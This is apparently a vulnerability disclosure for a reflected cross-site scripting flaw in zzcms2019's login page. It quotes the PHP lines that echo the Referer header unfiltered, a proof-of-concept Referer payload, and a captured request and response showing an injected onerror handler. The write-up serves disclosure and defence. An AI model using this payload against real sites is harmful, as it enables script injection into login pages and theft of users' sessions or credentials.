

master

...

ZZCMS / zzcms2019_login_xss.md

iohex format_2

History

1 contributor

22 lines (11 sloc) | 578 Bytes

...

- version: zzcms2019
- source: <http://www.zzcms.net/about/6.htm>
- issue: xss

Position

in zzcms2019/user/login.php line 24 :

```
21 $strout=str_replace( search: "{#siteskin}", $siteskin, $strout) ;
22 $strout=str_replace( search: "{#sitename}", replace: $sitename, $strout) ;
23 $strout=str_replace( search: "{#siteurl}", replace: $siteurl, $strout) ;
24 $strout=str_replace( search: "{#fromurl}", @$_SERVER['HTTP_REFERER'], $strout) ;
25 $strout=str_replace( search: "{#username}", @$_COOKIE["UserName"], $strout);
26 $strout=str_replace( search: "{#uname}", $uname, $strout);
```

The `$_SERVER['HTTP_REFERER']` can be controlled by the Referer header, and it not be filtered in `zzcms2019/inc/stopsqlin.php` :

```
6 function zc_check($string){
7     if(!is_array($string)){
8         if(get_magic_quotes_gpc()){
9             return htmlspecialchars(trim($string));
10        }else{
11            return addslashes(htmlspecialchars(trim($string)));
12        }
13    }
14    foreach($string as $k => $v) $string[$k] = zc_check($v);
15    return $string;
16 }
17
18 if($_REQUEST){
19     $_POST = zc_check($_POST);
20     $_GET = zc_check($_GET);
21     $_COOKIE = zc_check($_COOKIE);
22     @extract($_POST);
23     @extract($_GET);
24 }
```

PoC

Referer: xss">

Request

Raw	Params	Headers	Hex
GET /zzcms2019/user/login.php HTTP/1.1			
Host: 10.10.20.16:8888			
DNT: 1			
Upgrade-Insecure-Requests: 1			
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3893.5 Safari/537.36			
Sec-Fetch-Mode: navigate			
Sec-Fetch-User: ?1			
Referer: xss">			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3			
Accept-Encoding: gzip, deflate			
Accept-Language: zh-CN,zh;q=0.8			
Cookie: MYW_2132_saltkey=8agFr2F; MYW_2132_lastvisit=156426057; hd_searchtime=1564626915; hd_sid=850jmi; hdhere_firsttime=156704952770;			
Connection: close			

Response

Raw	Headers	Hex	HTML	Render
</div>				
<div>				
<div height="15" align="right"><label for="username">密码: </label></div>				
<div height="15"><input name="password" type="password" class="bianxian2" id="password" style="width:150px; tabindex="2" size="14" maxlength="255" />				
找回密码</div>				
<div>				
<div height="15" align="right"><label for="ym">验证码: </label></div>				
<div height="15"><input name="ym" tabindex="3" type="text" class="bianxian2" style="width:40px; id="ym" size="4" maxlength="255" />				
</div>				
<div>				
<div height="10"><div>				
<div height="10"><input name="CookieDate[]" type="checkbox" id="CookieDate" value="1" onclick="showCookieDate()" />				
<div style="display:none">				
<div colspan="2">				
onerror="alert(1)"/>为了保障您的信息安全, 请不要在网吧或者公用电脑上选择此项. </div>				
</div>				
<div style="border">				
<div height="15"><input name="fromurl" type="hidden" value="xss"> </div>				
<div><input type="submit" name="Submit" value="登 录" tabindex="4" /></div>				
</div>				
<div colspan="2"><div style="border-bottom:solid 1px #ddd"><div>				
</div>				
<div height="40" align="right">快捷登录: </div>				
<div></div>				
</div>				
</div>				
</div>				